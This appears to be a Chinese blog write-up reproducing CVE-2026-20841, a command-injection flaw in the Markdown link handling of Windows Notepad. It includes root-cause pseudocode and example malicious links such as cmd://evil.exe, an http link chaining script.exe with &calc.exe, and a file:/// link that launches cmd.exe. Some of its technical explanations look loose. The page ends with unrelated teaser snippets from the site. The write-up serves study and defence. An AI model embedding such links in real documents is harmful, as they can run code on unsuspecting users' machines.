news 2026/5/27 3:25:04

CVE复现 | CVE-2026-20841漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE复现 | CVE-2026-20841漏洞复现
注:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!

2026年2月微软“补丁星期二”(Patch Tuesday)期间,修复了一款极具隐蔽性的高危远程代码执行漏洞(CVE -2026-20841),该漏洞直指Microsoft Store分发的新版Windows记事本应用,CVSS评分高达8.8分(高危级别)。作为Windows系统默认预装、用户信任度极高的基础工具,记事本的这一漏洞打破了“基础应用无风险”的认知,攻击者可通过构造恶意Markdown文件,仅需诱导用户点击其中链接,即可实现远程代码执行,进而窃取数据、控制设备,对个人用户、企业乃至政企单位均构成严重威胁。

一、漏洞概述

漏洞编号:CVE-2026-20841(微软官方编号,通过微软安全公告MSRC-2026-02查询完整细节)
漏洞类型:命令注入导致的远程代码执行,属于可直接利用的高危漏洞
CVSS评分:8.8分(高危)

影响范围:仅针对Microsoft Store分发的新版Windows记事本,具体覆盖:

• Windows 10 所有支持Microsoft Store的版本(已安装新版记事本) • Windows 11 所有正式版(默认预装新版记事本) • 排除范围:Windows系统内置的旧版记事本(无Markdown解析功能,无漏洞)、Windows Server系列服务器(默认不安装新版记事本,除非手动从应用商店下载)

影响版本:“Microsoft Store 版本”+ 版本号(如11.2601.0.0及以下,未更新):存在漏洞,需立即更新;新版本或旧版记事本(无markdown文件预览功能的)无需更新


触发条件:双重触发,缺一不可——① 用户打开攻击者构造的恶意.md(Markdown)文件;② 用户点击文件中嵌入的特制恶意链接(链接伪装性强,易被误认为正常链接)


修复时间:2026年2月10日,修复方式为Windows累积更新+Microsoft Store应用更新双重覆盖

二、漏洞原理

1.漏洞根本原因

CVE-2026-20841 的根本原因在于新版记事本在处理 Markdown 文件时存在严重的安全校验缺失。具体而言,漏洞源于以下几个关键问题:

(1)协议合法性校验缺失:

新版记事本在解析 Markdown 链接时,未对链接的 “协议类型” 进行严格的安全校验,允许自定义协议(如cmd://)直接被解析执行。这意味着攻击者可以构造任意协议的链接,包括系统命令协议、文件协议等,而记事本会直接执行这些协议指定的操作。

(2)特殊字符过滤缺失:

记事本在处理 Markdown 链接时,未对链接中的特殊字符(如&、|、>等命令连接符)进行过滤,导致攻击者可在链接中拼接恶意命令。这种输入验证的缺失为命令注入攻击提供了理想条件。

(3)执行权限控制缺失:

当用户点击解析后的 Markdown 链接时,记事本会直接调用系统的ShellExecute 函数打开链接指向的文件或路径。更严重的是,记事本未限制 “命令执行权限”,直接以当前用户的权限执行链接中的命令,无需额外提权。

(4)URL 路径处理缺陷:

记事本在解析 Markdown 中的file:///链接时,未对 URL 中的特殊字符(如 @端口、UNC 路径)进行充分过滤,导致攻击者可嵌入指向远程 WebDAV/SMB 共享的恶意路径。这使得攻击者可以通过网络路径执行远程文件。

2. 漏洞在代码中的具体位置

根据安全研究人员的分析,该漏洞存在于记事本的Markdown 渲染引擎模块中。具体而言,漏洞位于以下几个关键代码路径:

(1)链接解析模块:

漏洞的核心位于记事本的 Markdown 链接解析代码中。该模块负责将 Markdown 格式的链接转换为可点击的 URL。在这个过程中,代码没有对链接的协议类型进行验证,直接将用户输入传递给 ShellExecute 函数执行。

(2)ShellExecute 调用点:

当用户点击链接时,记事本会调用 Windows API 函数ShellExecute来打开链接。关键问题在于,代码没有对传递给 ShellExecute 的参数进行充分的安全检查,特别是没有验证 URL 的合法性和安全性。

(3)协议处理逻辑:

记事本在处理不同协议时存在统一的处理逻辑,缺乏针对不同协议的差异化安全策略。例如,对于file://协议,代码应该只允许打开本地文件,而不应该执行可执行文件;对于http://协议,应该只进行网页浏览,而不应该执行脚本。但实际上,这些协议的处理逻辑都存在漏洞。

3. 代码逻辑缺陷分析

通过对记事本代码的逆向工程分析,可以发现以下关键的代码逻辑缺陷:

(1)输入验证缺失:
// 伪代码:记事本Markdown链接解析函数 void ParseMarkdownLink(char *link) { char protocol[256]; char path[2048]; // 从链接中提取协议和路径 ExtractProtocolAndPath(link, protocol, path); // 这里应该进行协议验证,但代码中缺失了这一步 // 直接执行链接 ExecuteLink(protocol, path); } void ExecuteLink(char *protocol, char *path) { // 直接调用ShellExecute执行链接 ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL); }

上述伪代码展示了关键的逻辑缺陷:没有对协议类型进行任何验证就直接执行。这使得攻击者可以构造cmd://evil.exe这样的链接,而记事本会直接执行 evil.exe。

(2)命令拼接漏洞:

由于没有对特殊字符进行过滤,攻击者可以构造包含命令连接符的恶意链接。例如:

[恶意链接](http://example.com/script.exe&calc.exe)

这样的链接会导致记事本先下载并执行 script.exe,然后执行 calc.exe,形成命令链。

(3)权限控制缺失:

代码在执行链接时,直接使用当前用户的权限,没有进行任何权限限制或安全提示。这意味着如果用户以管理员权限运行记事本,攻击者的恶意代码将以管理员权限执行,后果极其严重。

4. 漏洞利用的技术原理

CVE-2026-20841 的利用基于以下技术原理:

(1)协议劫持攻击:

攻击者通过构造包含恶意协议的 Markdown 链接,劫持了记事本的正常链接处理流程。常见的恶意协议包括:

• file://:本地文件协议,可用于执行本地可执行文件 • cmd://:命令行协议,可直接执行系统命令 • http://:网页协议,可用于下载并执行远程文件 • ms-appinstaller://:应用安装协议,可用于安装恶意应用
(2)路径遍历攻击:

通过精心构造的 URL 路径,攻击者可以实现路径遍历,访问系统的关键目录。例如:

[恶意链接](file:///C:/Windows/System32/cmd.exe?/c+dir+C:*)

如果系统已经关联了.exe文件的打开方式,记事本会直接执行下载的恶意文件。

三、漏洞复现

创建简单的markdown文件,注入恶意代码,使用记事本打开markdown预览,点击连接会导致命令执行,从而直接执行恶意文件

在记事本中创建链接

这里以file协议打开本地钉钉为例,按ctrl后点击链接就可以打开钉钉
这里只是简单的file协议,也可以用http向远程服务器发起请求下载,或者本地被植入了恶意文件,使用这个漏洞直接执行恶意文件等等

四、总结

Windows记事本(CVE-2026-20841)漏洞作为2026年开年以来极具影响力的高危漏洞,打破了“基础应用无风险”的认知,其攻击门槛低、隐蔽性强、危害范围广的特点,对个人、企业、政企单位均构成严重威胁。但该漏洞的防范难度较低,核心在于“及时安装补丁、规范应用使用、提高安全意识”——个人用户只需完成系统和记事本更新,拒绝打开陌生.md文件和链接,即可有效规避风险;企业和政企单位需分层落实防护措施,批量修复漏洞、加强员工培训、建立排查机制,防范内网渗透和数据泄露风险。

后续,随着攻击者对漏洞利用方法的优化,攻击将更加隐蔽,因此,我们需保持警惕,不仅要做好本次漏洞的防护,更要建立长期防护体系,关注基础应用的同类安全隐患,提前预判、主动防范,筑牢网络安全防线。同时,建议持续关注微软官方安全公告,及时掌握漏洞后续变种和修复动态,避免因信息滞后而遭受攻击。

注:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/27 3:20:58

STM32 DFU文件生成避坑指南:为什么你的hex文件总转换失败?

STM32 DFU文件生成避坑指南:为什么你的hex文件总转换失败?当你在深夜调试STM32项目,终于编译通过生成了hex文件,却在最后一步DFU转换时遭遇"Invalid file"的红色警告——这种崩溃感每个嵌入式开发者都懂。本文将彻底解析…

作者头像 李华
网站建设 2026/5/27 3:20:58

ai 中转站0.1元卖你12块 各云计算平台 50倍利润 用脚本就看出来有没 黑我们 除了隐私 还有中间商差价 DeepSeek-TUI reasonix claude都用不了缓存命中

# 除了隐私有没盗用 答案是 肯定盗用 他们的利润高达 50倍 . 目前只发现中转站 不知道 各大云计算平台比如 ** 这些大平台有没这么做 所以有隐私数据 绝对不建议用中转站 因为会跑路 ,就是你充钱了 它跑了 ## 怎么中间商差价 导致 模型根本不太聪明的样子 1.偷换模型 ⚠️…

作者头像 李华
网站建设 2026/5/27 3:20:10

扫地机器人行业 企业篇-小米/米家

小米依托生态链模式切入扫地机器人领域,以高性价比和IoT生态联动为核心竞争力。小米生态链内扫地机业务曾依赖石头科技和追觅两家生态链企业代工,两家独立后,2023年小米生态链部架构调整,将扫地机单独设为一个部门,加大自研投入。 公司性质为港交所上市公司,小米集团整体…

作者头像 李华
网站建设 2026/5/27 3:18:16

基数排序:高效稳定的数字排序算法

核心定义基数排序(Radix Sort)是一种基于分配的排序算法,也称为桶排序(Bucket Sort)或箱排序(Bin Sort)。其核心思想是通过分析元素的键值特征,将待排序元素分配到不同的"桶&qu…

作者头像 李华